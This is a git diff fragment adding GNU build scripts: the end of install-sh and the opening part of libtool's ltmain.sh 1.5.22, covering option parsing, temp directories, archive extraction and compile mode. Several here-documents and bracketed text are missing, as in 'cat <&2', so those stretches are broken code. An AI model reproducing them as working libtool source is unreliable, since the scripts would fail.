NONINFRINGEMENT. IN NO EVENT SHALL THE +# X CONSORTIUM BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN +# AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNEC- +# TION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +# +# Except as contained in this notice, the name of the X Consortium shall not +# be used in advertising or otherwise to promote the sale, use or other deal- +# ings in this Software without prior written authorization from the X Consor- +# tium. +# +# +# FSF changes to this file are in the public domain. +# +# Calling this script install-sh is preferred over install.sh, to prevent +# `make' implicit rules from creating a file called install from it +# when there is no Makefile. +# +# This script is compatible with the BSD install script, but was written +# from scratch. It can only install one file at a time, a restriction +# shared with many OS's install programs. + +# set DOITPROG to echo to test this script + +# Don't use :- since 4.3BSD and earlier shells don't like it. +doit="${DOITPROG-}" + +# put in absolute paths if you don't have them in your path; or use env. vars. + +mvprog="${MVPROG-mv}" +cpprog="${CPPROG-cp}" +chmodprog="${CHMODPROG-chmod}" +chownprog="${CHOWNPROG-chown}" +chgrpprog="${CHGRPPROG-chgrp}" +stripprog="${STRIPPROG-strip}" +rmprog="${RMPROG-rm}" +mkdirprog="${MKDIRPROG-mkdir}" + +transformbasename= +transform_arg= +instcmd="$mvprog" +chmodcmd="$chmodprog 0755" +chowncmd= +chgrpcmd= +stripcmd= +rmcmd="$rmprog -f" +mvcmd="$mvprog" +src= +dst= +dir_arg= + +usage="Usage: $0 [OPTION]... SRCFILE DSTFILE + or: $0 [OPTION]... SRCFILES... DIRECTORY + or: $0 -d DIRECTORIES... + +In the first form, install SRCFILE to DSTFILE, removing SRCFILE by default. +In the second, create the directory path DIR. + +Options: +-b=TRANSFORMBASENAME +-c copy source (using $cpprog) instead of moving (using $mvprog). +-d create directories instead of installing files. +-g GROUP $chgrp installed files to GROUP. +-m MODE $chmod installed files to MODE. +-o USER $chown installed files to USER. +-s strip installed files (using $stripprog). +-t=TRANSFORM +--help display this help and exit. +--version display version info and exit. + +Environment variables override the default commands: + CHGRPPROG CHMODPROG CHOWNPROG CPPROG MKDIRPROG MVPROG RMPROG STRIPPROG +" + +while test -n "$1"; do + case $1 in + -b=*) transformbasename=`echo $1 | sed 's/-b=//'` + shift + continue;; + + -c) instcmd=$cpprog + shift + continue;; + + -d) dir_arg=true + shift + continue;; + + -g) chgrpcmd="$chgrpprog $2" + shift + shift + continue;; + + --help) echo "$usage"; exit 0;; + + -m) chmodcmd="$chmodprog $2" + shift + shift + continue;; + + -o) chowncmd="$chownprog $2" + shift + shift + continue;; + + -s) stripcmd=$stripprog + shift + continue;; + + -t=*) transformarg=`echo $1 | sed 's/-t=//'` + shift + continue;; + + --version) echo "$0 $scriptversion"; exit 0;; + + *) # When -d is used, all remaining arguments are directories to create. + test -n "$dir_arg" && break + # Otherwise, the last argument is the destination. Remove it from $@. + for arg + do + if test -n "$dstarg"; then + # $@ is not empty: it contains at least $arg. + set fnord "$@" "$dstarg" + shift # fnord + fi + shift # arg + dstarg=$arg + done + break;; + esac +done + +if test -z "$1"; then + if test -z "$dir_arg"; then + echo "$0: no input file specified." >&2 + exit 1 + fi + # It's OK to call `install-sh -d' without argument. + # This can happen when creating conditional directories. + exit 0 +fi + +for src +do + # Protect names starting with `-'. + case $src in + -*) src=./$src ;; + esac + + if test -n "$dir_arg"; then + dst=$src + src= + + if test -d "$dst"; then + instcmd=: + chmodcmd= + else + instcmd=$mkdirprog + fi + else + # Waiting for this to be detected by the "$instcmd $src $dsttmp" command + # might cause directories to be created, which would be especially bad + # if $src (and thus $dsttmp) contains '*'. + if test ! -f "$src" && test ! -d "$src"; then + echo "$0: $src does not exist." >&2 + exit 1 + fi + + if test -z "$dstarg"; then + echo "$0: no destination specified." >&2 + exit 1 + fi + + dst=$dstarg + # Protect names starting with `-'. + case $dst in + -*) dst=./$dst ;; + esac + + # If destination is a directory, append the input filename; won't work + # if double slashes aren't ignored. + if test -d "$dst"; then + dst=$dst/`basename "$src"` + fi + fi + + # This sed command emulates the dirname command. + dstdir=`echo "$dst" | sed -e 's,[^/]*$,,;s,/$,,;s,^$,.,'` + + # Make sure that the destination directory exists. + + # Skip lots of stat calls in the usual case. + if test ! -d "$dstdir"; then + defaultIFS=' + ' + IFS="${IFS-$defaultIFS}" + + oIFS=$IFS + # Some sh's can't handle IFS=/ for some reason. + IFS='%' + set - `echo "$dstdir" | sed -e 's@/@%@g' -e 's@^%@/@'` + IFS=$oIFS + + pathcomp= + + while test $# -ne 0 ; do + pathcomp=$pathcomp$1 + shift + if test ! -d "$pathcomp"; then + $mkdirprog "$pathcomp" || lasterr=$? + # mkdir can fail with a `File exist' error in case several + # install-sh are creating the directory concurrently. This + # is OK. + test ! -d "$pathcomp" && { (exit ${lasterr-1}); exit; } + fi + pathcomp=$pathcomp/ + done + fi + + if test -n "$dir_arg"; then + $doit $instcmd "$dst" \ + && { test -z "$chowncmd" || $doit $chowncmd "$dst"; } \ + && { test -z "$chgrpcmd" || $doit $chgrpcmd "$dst"; } \ + && { test -z "$stripcmd" || $doit $stripcmd "$dst"; } \ + && { test -z "$chmodcmd" || $doit $chmodcmd "$dst"; } + + else + # If we're going to rename the final executable, determine the name now. + if test -z "$transformarg"; then + dstfile=`basename "$dst"` + else + dstfile=`basename "$dst" $transformbasename \ + | sed $transformarg`$transformbasename + fi + + # don't allow the sed command to completely eliminate the filename. + test -z "$dstfile" && dstfile=`basename "$dst"` + + # Make a couple of temp file names in the proper directory. + dsttmp=$dstdir/_inst.$$_ + rmtmp=$dstdir/_rm.$$_ + + # Trap to clean up those temp files at exit. + trap 'status=$?; rm -f "$dsttmp" "$rmtmp" && exit $status' 0 + trap '(exit $?); exit' 1 2 13 15 + + # Move or copy the file name to the temp name + $doit $instcmd "$src" "$dsttmp" && + + # and set any options; do chmod last to preserve setuid bits. + # + # If any of these fail, we abort the whole thing. If we want to + # ignore errors from any of these, just make sure not to ignore + # errors from the above "$doit $instcmd $src $dsttmp" command. + # + { test -z "$chowncmd" || $doit $chowncmd "$dsttmp"; } \ + && { test -z "$chgrpcmd" || $doit $chgrpcmd "$dsttmp"; } \ + && { test -z "$stripcmd" || $doit $stripcmd "$dsttmp"; } \ + && { test -z "$chmodcmd" || $doit $chmodcmd "$dsttmp"; } && + + # Now rename the file to the real destination. + { $doit $mvcmd -f "$dsttmp" "$dstdir/$dstfile" 2>/dev/null \ + || { + # The rename failed, perhaps because mv can't rename something else + # to itself, or perhaps because mv is so ancient that it does not + # support -f. + + # Now remove or move aside any old file at destination location. + # We try this two ways since rm can't unlink itself on some + # systems and the destination file might be busy for other + # reasons. In this case, the final cleanup might fail but the new + # file should still install successfully. + { + if test -f "$dstdir/$dstfile"; then + $doit $rmcmd -f "$dstdir/$dstfile" 2>/dev/null \ + || $doit $mvcmd -f "$dstdir/$dstfile" "$rmtmp" 2>/dev/null \ + || { + echo "$0: cannot unlink or rename $dstdir/$dstfile" >&2 + (exit 1); exit + } + else + : + fi + } && + + # Now rename the file to the real destination. + $doit $mvcmd "$dsttmp" "$dstdir/$dstfile" + } + } + fi || { (exit 1); exit; } +done + +# The final little trick to "correctly" pass the exit status to the exit trap. +{ + (exit 0); exit +} + +# Local variables: +# eval: (add-hook 'write-file-hooks 'time-stamp) +# time-stamp-start: "scriptversion=" +# time-stamp-format: "%:y-%02m-%02d.%02H" +# time-stamp-end: "$" +# End: diff --git a/autostuff/ltmain.sh b/autostuff/ltmain.sh new file mode 100644 index 0000000..06823e0 --- /dev/null +++ b/autostuff/ltmain.sh @@ -0,0 +1,6863 @@ +# ltmain.sh - Provide generalized library-building support services. +# NOTE: Changing this file will not affect anything until you rerun configure. +# +# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005 +# Free Software Foundation, Inc. +# Originally by Gordon Matzigkeit , 1996 +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. +# +# As a special exception to the GNU General Public License, if you +# distribute this file as part of a program that contains a +# configuration script generated by Autoconf, you may include it under +# the same distribution terms that you use for the rest of that program. + +basename="s,^.*/,,g" + +# Work around backward compatibility issue on IRIX 6.5. On IRIX 6.4+, sh +# is ksh but when the shell is invoked as "sh" and the current value of +# the _XPG environment variable is not equal to 1 (one), the special +# positional parameter $0, within a function call, is the name of the +# function. +progpath="$0" + +# The name of this program: +progname=`echo "$progpath" | $SED $basename` +modename="$progname" + +# Global variables: +EXIT_SUCCESS=0 +EXIT_FAILURE=1 + +PROGRAM=ltmain.sh +PACKAGE=libtool +VERSION=1.5.22 +TIMESTAMP=" (1.1220.2.365 2005/12/18 22:14:06)" + +# See if we are running on zsh, and set the options which allow our +# commands through without removal of \ escapes. +if test -n "${ZSH_VERSION+set}" ; then + setopt NO_GLOB_SUBST +fi + +# Check that we have a working $echo. +if test "X$1" = X--no-reexec; then + # Discard the --no-reexec flag, and continue. + shift +elif test "X$1" = X--fallback-echo; then + # Avoid inline document here, it may be left over + : +elif test "X`($echo '\t') 2>/dev/null`" = 'X\t'; then + # Yippee, $echo works! + : +else + # Restart under the correct shell, and then maybe $echo will work. + exec $SHELL "$progpath" --no-reexec ${1+"$@"} +fi + +if test "X$1" = X--fallback-echo; then + # used as fallback echo + shift + cat <&2 + $echo "Fatal configuration error. See the $PACKAGE docs for more information." 1>&2 + exit $EXIT_FAILURE +fi + +# Global variables. +mode=$default_mode +nonopt= +prev= +prevopt= +run= +show="$echo" +show_help= +execute_dlfiles= +duplicate_deps=no +preserve_args= +lo2o="s/\\.lo\$/.${objext}/" +o2lo="s/\\.${objext}\$/.lo/" + +##################################### +# Shell function definitions: +# This seems to be the best place for them + +# func_mktempdir [string] +# Make a temporary directory that won't clash with other running +# libtool processes, and avoids race conditions if possible. If +# given, STRING is the basename for that directory. +func_mktempdir () +{ + my_template="${TMPDIR-/tmp}/${1-$progname}" + + if test "$run" = ":"; then + # Return a directory name, but don't create it in dry-run mode + my_tmpdir="${my_template}-$$" + else + + # If mktemp works, use that first and foremost + my_tmpdir=`mktemp -d "${my_template}-XXXXXXXX" 2>/dev/null` + + if test ! -d "$my_tmpdir"; then + # Failing that, at least try and use $RANDOM to avoid a race + my_tmpdir="${my_template}-${RANDOM-0}$$" + + save_mktempdir_umask=`umask` + umask 0077 + $mkdir "$my_tmpdir" + umask $save_mktempdir_umask + fi + + # If we're not in dry-run mode, bomb out on failure + test -d "$my_tmpdir" || { + $echo "cannot create temporary directory \`$my_tmpdir'" 1>&2 + exit $EXIT_FAILURE + } + fi + + $echo "X$my_tmpdir" | $Xsed +} + + +# func_win32_libid arg +# return the library type of file 'arg' +# +# Need a lot of goo to handle *both* DLLs and import libs +# Has to be a shell function in order to 'eat' the argument +# that is supplied when $file_magic_command is called. +func_win32_libid () +{ + win32_libid_type="unknown" + win32_fileres=`file -L $1 2>/dev/null` + case $win32_fileres in + *ar\ archive\ import\ library*) # definitely import + win32_libid_type="x86 archive import" + ;; + *ar\ archive*) # could be an import, or static + if eval $OBJDUMP -f $1 | $SED -e '10q' 2>/dev/null | \ + $EGREP -e 'file format pe-i386(.*architecture: i386)?' >/dev/null ; then + win32_nmres=`eval $NM -f posix -A $1 | \ + $SED -n -e '1,100{/ I /{s,.*,import,;p;q;};}'` + case $win32_nmres in + import*) win32_libid_type="x86 archive import";; + *) win32_libid_type="x86 archive static";; + esac + fi + ;; + *DLL*) + win32_libid_type="x86 DLL" + ;; + *executable*) # but shell scripts are "executable" too... + case $win32_fileres in + *MS\ Windows\ PE\ Intel*) + win32_libid_type="x86 DLL" + ;; + esac + ;; + esac + $echo $win32_libid_type +} + + +# func_infer_tag arg +# Infer tagged configuration to use if any are available and +# if one wasn't chosen via the "--tag" command line option. +# Only attempt this if the compiler in the base compile +# command doesn't match the default compiler. +# arg is usually of the form 'gcc ...' +func_infer_tag () +{ + if test -n "$available_tags" && test -z "$tagname"; then + CC_quoted= + for arg in $CC; do + case $arg in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + arg="\"$arg\"" + ;; + esac + CC_quoted="$CC_quoted $arg" + done + case $@ in + # Blanks in the command may have been stripped by the calling shell, + # but not from the CC environment variable when configure was run. + " $CC "* | "$CC "* | " `$echo $CC` "* | "`$echo $CC` "* | " $CC_quoted"* | "$CC_quoted "* | " `$echo $CC_quoted` "* | "`$echo $CC_quoted` "*) ;; + # Blanks at the start of $base_compile will cause this to fail + # if we don't check for them as well. + *) + for z in $available_tags; do + if grep "^# ### BEGIN LIBTOOL TAG CONFIG: $z$" < "$progpath" > /dev/null; then + # Evaluate the configuration. + eval "`${SED} -n -e '/^# ### BEGIN LIBTOOL TAG CONFIG: '$z'$/,/^# ### END LIBTOOL TAG CONFIG: '$z'$/p' < $progpath`" + CC_quoted= + for arg in $CC; do + # Double-quote args containing other shell metacharacters. + case $arg in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + arg="\"$arg\"" + ;; + esac + CC_quoted="$CC_quoted $arg" + done + case "$@ " in + " $CC "* | "$CC "* | " `$echo $CC` "* | "`$echo $CC` "* | " $CC_quoted"* | "$CC_quoted "* | " `$echo $CC_quoted` "* | "`$echo $CC_quoted` "*) + # The compiler in the base compile command matches + # the one in the tagged configuration. + # Assume this is the tagged configuration we want. + tagname=$z + break + ;; + esac + fi + done + # If $tagname still isn't set, then no tagged configuration + # was found and let the user know that the "--tag" command + # line option must be used. + if test -z "$tagname"; then + $echo "$modename: unable to infer tagged configuration" + $echo "$modename: specify a tag with \`--tag'" 1>&2 + exit $EXIT_FAILURE +# else +# $echo "$modename: using $tagname tagged configuration" + fi + ;; + esac + fi +} + + +# func_extract_an_archive dir oldlib +func_extract_an_archive () +{ + f_ex_an_ar_dir="$1"; shift + f_ex_an_ar_oldlib="$1" + + $show "(cd $f_ex_an_ar_dir && $AR x $f_ex_an_ar_oldlib)" + $run eval "(cd \$f_ex_an_ar_dir && $AR x \$f_ex_an_ar_oldlib)" || exit $? + if ($AR t "$f_ex_an_ar_oldlib" | sort | sort -uc >/dev/null 2>&1); then + : + else + $echo "$modename: ERROR: object name conflicts: $f_ex_an_ar_dir/$f_ex_an_ar_oldlib" 1>&2 + exit $EXIT_FAILURE + fi +} + +# func_extract_archives gentop oldlib ... +func_extract_archives () +{ + my_gentop="$1"; shift + my_oldlibs=${1+"$@"} + my_oldobjs="" + my_xlib="" + my_xabs="" + my_xdir="" + my_status="" + + $show "${rm}r $my_gentop" + $run ${rm}r "$my_gentop" + $show "$mkdir $my_gentop" + $run $mkdir "$my_gentop" + my_status=$? + if test "$my_status" -ne 0 && test ! -d "$my_gentop"; then + exit $my_status + fi + + for my_xlib in $my_oldlibs; do + # Extract the objects. + case $my_xlib in + [\\/]* | [A-Za-z]:[\\/]*) my_xabs="$my_xlib" ;; + *) my_xabs=`pwd`"/$my_xlib" ;; + esac + my_xlib=`$echo "X$my_xlib" | $Xsed -e 's%^.*/%%'` + my_xdir="$my_gentop/$my_xlib" + + $show "${rm}r $my_xdir" + $run ${rm}r "$my_xdir" + $show "$mkdir $my_xdir" + $run $mkdir "$my_xdir" + exit_status=$? + if test "$exit_status" -ne 0 && test ! -d "$my_xdir"; then + exit $exit_status + fi + case $host in + *-darwin*) + $show "Extracting $my_xabs" + # Do not bother doing anything if just a dry run + if test -z "$run"; then + darwin_orig_dir=`pwd` + cd $my_xdir || exit $? + darwin_archive=$my_xabs + darwin_curdir=`pwd` + darwin_base_archive=`$echo "X$darwin_archive" | $Xsed -e 's%^.*/%%'` + darwin_arches=`lipo -info "$darwin_archive" 2>/dev/null | $EGREP Architectures 2>/dev/null` + if test -n "$darwin_arches"; then + darwin_arches=`echo "$darwin_arches" | $SED -e 's/.*are://'` + darwin_arch= + $show "$darwin_base_archive has multiple architectures $darwin_arches" + for darwin_arch in $darwin_arches ; do + mkdir -p "unfat-$$/${darwin_base_archive}-${darwin_arch}" + lipo -thin $darwin_arch -output "unfat-$$/${darwin_base_archive}-${darwin_arch}/${darwin_base_archive}" "${darwin_archive}" + cd "unfat-$$/${darwin_base_archive}-${darwin_arch}" + func_extract_an_archive "`pwd`" "${darwin_base_archive}" + cd "$darwin_curdir" + $rm "unfat-$$/${darwin_base_archive}-${darwin_arch}/${darwin_base_archive}" + done # $darwin_arches + ## Okay now we have a bunch of thin objects, gotta fatten them up :) + darwin_filelist=`find unfat-$$ -type f -name \*.o -print -o -name \*.lo -print| xargs basename | sort -u | $NL2SP` + darwin_file= + darwin_files= + for darwin_file in $darwin_filelist; do + darwin_files=`find unfat-$$ -name $darwin_file -print | $NL2SP` + lipo -create -output "$darwin_file" $darwin_files + done # $darwin_filelist + ${rm}r unfat-$$ + cd "$darwin_orig_dir" + else + cd "$darwin_orig_dir" + func_extract_an_archive "$my_xdir" "$my_xabs" + fi # $darwin_arches + fi # $run + ;; + *) + func_extract_an_archive "$my_xdir" "$my_xabs" + ;; + esac + my_oldobjs="$my_oldobjs "`find $my_xdir -name \*.$objext -print -o -name \*.lo -print | $NL2SP` + done + func_extract_archives_result="$my_oldobjs" +} +# End of Shell function definitions +##################################### + +# Darwin sucks +eval std_shrext=\"$shrext_cmds\" + +disable_libs=no + +# Parse our command line options once, thoroughly. +while test "$#" -gt 0 +do + arg="$1" + shift + + case $arg in + -*=*) optarg=`$echo "X$arg" | $Xsed -e 's/[-_a-zA-Z0-9]*=//'` ;; + *) optarg= ;; + esac + + # If the previous option needs an argument, assign it. + if test -n "$prev"; then + case $prev in + execute_dlfiles) + execute_dlfiles="$execute_dlfiles $arg" + ;; + tag) + tagname="$arg" + preserve_args="${preserve_args}=$arg" + + # Check whether tagname contains only valid characters + case $tagname in + *[!-_A-Za-z0-9,/]*) + $echo "$progname: invalid tag name: $tagname" 1>&2 + exit $EXIT_FAILURE + ;; + esac + + case $tagname in + CC) + # Don't test for the "default" C tag, as we know, it's there, but + # not specially marked. + ;; + *) + if grep "^# ### BEGIN LIBTOOL TAG CONFIG: $tagname$" < "$progpath" > /dev/null; then + taglist="$taglist $tagname" + # Evaluate the configuration. + eval "`${SED} -n -e '/^# ### BEGIN LIBTOOL TAG CONFIG: '$tagname'$/,/^# ### END LIBTOOL TAG CONFIG: '$tagname'$/p' < $progpath`" + else + $echo "$progname: ignoring unknown tag $tagname" 1>&2 + fi + ;; + esac + ;; + *) + eval "$prev=\$arg" + ;; + esac + + prev= + prevopt= + continue + fi + + # Have we seen a non-optional argument yet? + case $arg in + --help) + show_help=yes + ;; + + --version) + $echo "$PROGRAM (GNU $PACKAGE) $VERSION$TIMESTAMP" + $echo + $echo "Copyright (C) 2005 Free Software Foundation, Inc." + $echo "This is free software; see the source for copying conditions. There is NO" + $echo "warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE." + exit $? + ;; + + --config) + ${SED} -e '1,/^# ### BEGIN LIBTOOL CONFIG/d' -e '/^# ### END LIBTOOL CONFIG/,$d' $progpath + # Now print the configurations for the tags. + for tagname in $taglist; do + ${SED} -n -e "/^# ### BEGIN LIBTOOL TAG CONFIG: $tagname$/,/^# ### END LIBTOOL TAG CONFIG: $tagname$/p" < "$progpath" + done + exit $? + ;; + + --debug) + $echo "$progname: enabling shell trace mode" + set -x + preserve_args="$preserve_args $arg" + ;; + + --dry-run | -n) + run=: + ;; + + --features) + $echo "host: $host" + if test "$build_libtool_libs" = yes; then + $echo "enable shared libraries" + else + $echo "disable shared libraries" + fi + if test "$build_old_libs" = yes; then + $echo "enable static libraries" + else + $echo "disable static libraries" + fi + exit $? + ;; + + --finish) mode="finish" ;; + + --mode) prevopt="--mode" prev=mode ;; + --mode=*) mode="$optarg" ;; + + --preserve-dup-deps) duplicate_deps="yes" ;; + + --quiet | --silent) + show=: + preserve_args="$preserve_args $arg" + ;; + + --tag) + prevopt="--tag" + prev=tag + preserve_args="$preserve_args --tag" + ;; + --tag=*) + set tag "$optarg" ${1+"$@"} + shift + prev=tag + preserve_args="$preserve_args --tag" + ;; + + -dlopen) + prevopt="-dlopen" + prev=execute_dlfiles + ;; + + -*) + $echo "$modename: unrecognized option \`$arg'" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + ;; + + *) + nonopt="$arg" + break + ;; + esac +done + +if test -n "$prevopt"; then + $echo "$modename: option \`$prevopt' requires an argument" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE +fi + +case $disable_libs in +no) + ;; +shared) + build_libtool_libs=no + build_old_libs=yes + ;; +static) + build_old_libs=`case $build_libtool_libs in yes) echo no;; *) echo yes;; esac` + ;; +esac + +# If this variable is set in any of the actions, the command in it +# will be execed at the end. This prevents here-documents from being +# left over by shells. +exec_cmd= + +if test -z "$show_help"; then + + # Infer the operation mode. + if test -z "$mode"; then + $echo "*** Warning: inferring the mode of operation is deprecated." 1>&2 + $echo "*** Future versions of Libtool will require --mode=MODE be specified." 1>&2 + case $nonopt in + *cc | cc* | *++ | gcc* | *-gcc* | g++* | xlc*) + mode=link + for arg + do + case $arg in + -c) + mode=compile + break + ;; + esac + done + ;; + *db | *dbx | *strace | *truss) + mode=execute + ;; + *install*|cp|mv) + mode=install + ;; + *rm) + mode=uninstall + ;; + *) + # If we have no mode, but dlfiles were specified, then do execute mode. + test -n "$execute_dlfiles" && mode=execute + + # Just use the default operation mode. + if test -z "$mode"; then + if test -n "$nonopt"; then + $echo "$modename: warning: cannot infer operation mode from \`$nonopt'" 1>&2 + else + $echo "$modename: warning: cannot infer operation mode without MODE-ARGS" 1>&2 + fi + fi + ;; + esac + fi + + # Only execute mode is allowed to have -dlopen flags. + if test -n "$execute_dlfiles" && test "$mode" != execute; then + $echo "$modename: unrecognized option \`-dlopen'" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + + # Change the help message to a mode-specific one. + generic_help="$help" + help="Try \`$modename --help --mode=$mode' for more information." + + # These modes are in order of execution frequency so that they run quickly. + case $mode in + # libtool compile mode + compile) + modename="$modename: compile" + # Get the compilation command and the source file. + base_compile= + srcfile="$nonopt" # always keep a non-empty value in "srcfile" + suppress_opt=yes + suppress_output= + arg_mode=normal + libobj= + later= + + for arg + do + case $arg_mode in + arg ) + # do not "continue". Instead, add this to base_compile + lastarg="$arg" + arg_mode=normal + ;; + + target ) + libobj="$arg" + arg_mode=normal + continue + ;; + + normal ) + # Accept any command-line options. + case $arg in + -o) + if test -n "$libobj" ; then + $echo "$modename: you cannot specify \`-o' more than once" 1>&2 + exit $EXIT_FAILURE + fi + arg_mode=target + continue + ;; + + -static | -prefer-pic | -prefer-non-pic) + later="$later $arg" + continue + ;; + + -no-suppress) + suppress_opt=no + continue + ;; + + -Xcompiler) + arg_mode=arg # the next one goes into the "base_compile" arg list + continue # The current "srcfile" will either be retained or + ;; # replaced later. I would guess that would be a bug. + + -Wc,*) + args=`$echo "X$arg" | $Xsed -e "s/^-Wc,//"` + lastarg= + save_ifs="$IFS"; IFS=',' + for arg in $args; do + IFS="$save_ifs" + + # Double-quote args containing other shell metacharacters. + # Many Bourne shells cannot handle close brackets correctly + # in scan sets, so we specify it separately. + case $arg in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + arg="\"$arg\"" + ;; + esac + lastarg="$lastarg $arg" + done + IFS="$save_ifs" + lastarg=`$echo "X$lastarg" | $Xsed -e "s/^ //"` + + # Add the arguments to base_compile. + base_compile="$base_compile $lastarg" + continue + ;; + + * ) + # Accept the current argument as the source file. + # The previous "srcfile" becomes the current argument. + # + lastarg="$srcfile" + srcfile="$arg" + ;; + esac # case $arg + ;; + esac # case $arg_mode + + # Aesthetically quote the previous argument. + lastarg=`$echo "X$lastarg" | $Xsed -e "$sed_quote_subst"` + + case $lastarg in + # Double-quote args containing other shell metacharacters. + # Many Bourne shells cannot handle close brackets correctly + # in scan sets, and some SunOS ksh mistreat backslash-escaping + # in scan sets (worked around with variable expansion), + # and furthermore cannot handle '|' '&' '(' ')' in scan sets + # at all, so we specify them separately. + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + lastarg="\"$lastarg\"" + ;; + esac + + base_compile="$base_compile $lastarg" + done # for arg + + case $arg_mode in + arg) + $echo "$modename: you must specify an argument for -Xcompile" + exit $EXIT_FAILURE + ;; + target) + $echo "$modename: you must specify a target with \`-o'" 1>&2 + exit $EXIT_FAILURE + ;; + *) + # Get the name of the library object. + [ -z "$libobj" ] && libobj=`$echo "X$srcfile" | $Xsed -e 's%^.*/%%'` + ;; + esac + + # Recognize several different file suffixes. + # If the user specifies -o file.o, it is replaced with file.lo + xform='[cCFSifmso]' + case $libobj in + *.ada) xform=ada ;; + *.adb) xform=adb ;; + *.ads) xform=ads ;; + *.asm) xform=asm ;; + *.c++) xform=c++ ;; + *.cc) xform=cc ;; + *.ii) xform=ii ;; + *.class) xform=class ;; + *.cpp) xform=cpp ;; + *.cxx) xform=cxx ;; + *.f90) xform=f90 ;; + *.for) xform=for ;; + *.java) xform=java ;; + esac + + libobj=`$echo "X$libobj" | $Xsed -e "s/\.$xform$/.lo/"` + + case $libobj in + *.lo) obj=`$echo "X$libobj" | $Xsed -e "$lo2o"` ;; + *) + $echo "$modename: cannot determine name of library object from \`$libobj'" 1>&2 + exit $EXIT_FAILURE + ;; + esac + + func_infer_tag $base_compile + + for arg in $later; do + case $arg in + -static) + build_old_libs=yes + continue + ;; + + -prefer-pic) + pic_mode=yes + continue + ;; + + -prefer-non-pic) + pic_mode=no + continue + ;; + esac + done + + qlibobj=`$echo "X$libobj" | $Xsed -e "$sed_quote_subst"` + case $qlibobj in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + qlibobj="\"$qlibobj\"" ;; + esac + test "X$libobj" != "X$qlibobj" \ + && $echo "X$libobj" | grep '[]~#^*{};<>?"'"'"' &()|`$[]' \ + && $echo "$modename: libobj name \`$libobj' may not contain shell special characters." + objname=`$echo "X$obj" | $Xsed -e 's%^.*/%%'` + xdir=`$echo "X$obj" | $Xsed -e 's%/[^/]*$%%'` + if test "X$xdir" = "X$obj"; then + xdir= + else + xdir=$xdir/ + fi + lobj=${xdir}$objdir/$objname + + if test -z "$base_compile"; then + $echo "$modename: you must specify a compilation command" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + + # Delete any leftover library objects. + if test "$build_old_libs" = yes; then + removelist="$obj $lobj $libobj ${libobj}T" + else + removelist="$lobj $libobj ${libobj}T" + fi + + $run $rm $removelist + trap "$run $rm $removelist; exit $EXIT_FAILURE" 1 2 15 + + # On Cygwin there's no "real" PIC flag so we must build both object types + case $host_os in + cygwin* | mingw* | pw32* | os2*) + pic_mode=default + ;; + esac + if test "$pic_mode" = no && test "$deplibs_check_method" != pass_all; then + # non-PIC code in shared libraries is not supported + pic_mode=default + fi + + # Calculate the filename of the output object if compiler does + # not support -o with -c + if test "$compiler_c_o" = no; then + output_obj=`$echo "X$srcfile" | $Xsed -e 's%^.*/%%' -e 's%\.[^.]*$%%'`.${objext} + lockfile="$output_obj.lock" + removelist="$removelist $output_obj $lockfile" + trap "$run $rm $removelist; exit $EXIT_FAILURE" 1 2 15 + else + output_obj= + need_locks=no + lockfile= + fi + + # Lock this critical section if it is needed + # We use this script file to make the link, it avoids creating a new file + if test "$need_locks" = yes; then + until $run ln "$progpath" "$lockfile" 2>/dev/null; do + $show "Waiting for $lockfile to be removed" + sleep 2 + done + elif test "$need_locks" = warn; then + if test -f "$lockfile"; then + $echo "\ +*** ERROR, $lockfile exists and contains: +`cat $lockfile 2>/dev/null` + +This indicates that another process is trying to use the same +temporary object file, and libtool could not work around it because +your compiler does not support \`-c' and \`-o' together. If you +repeat this compilation, it may succeed, by chance, but you had better +avoid parallel builds (make -j) in this platform, or get a better +compiler." + + $run $rm $removelist + exit $EXIT_FAILURE + fi + $echo "$srcfile" > "$lockfile" + fi + + if test -n "$fix_srcfile_path"; then + eval srcfile=\"$fix_srcfile_path\" + fi + qsrcfile=`$echo "X$srcfile" | $Xsed -e "$sed_quote_subst"` + case $qsrcfile in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + qsrcfile="\"$qsrcfile\"" ;; + esac + + $run $rm "$libobj" "${libobj}T" + + # Create a libtool object file (analogous to a ".la" file), + # but don't create it if we're doing a dry run. + test -z "$run" && cat > ${libobj}T </dev/null`" != "X$srcfile"; then + $echo "\ +*** ERROR, $lockfile contains: +`cat $lockfile 2>/dev/null` + +but it should contain: +$srcfile + +This indicates that another process is trying to use the same +temporary object file, and libtool could not work around it because +your compiler does not support \`-c' and \`-o' together. If you +repeat this compilation, it may succeed, by chance, but you had better +avoid parallel builds (make -j) in this platform, or get a better +compiler." + + $run $rm $removelist + exit $EXIT_FAILURE + fi + + # Just move the object if needed, then go on to compile the next one + if test -n "$output_obj" && test "X$output_obj" != "X$lobj"; then + $show "$mv $output_obj $lobj" + if $run $mv $output_obj $lobj; then : + else + error=$? + $run $rm $removelist + exit $error + fi + fi + + # Append the name of the PIC object to the libtool object file. + test -z "$run" && cat >> ${libobj}T <> ${libobj}T </dev/null`" != "X$srcfile"; then + $echo "\ +*** ERROR, $lockfile contains: +`cat 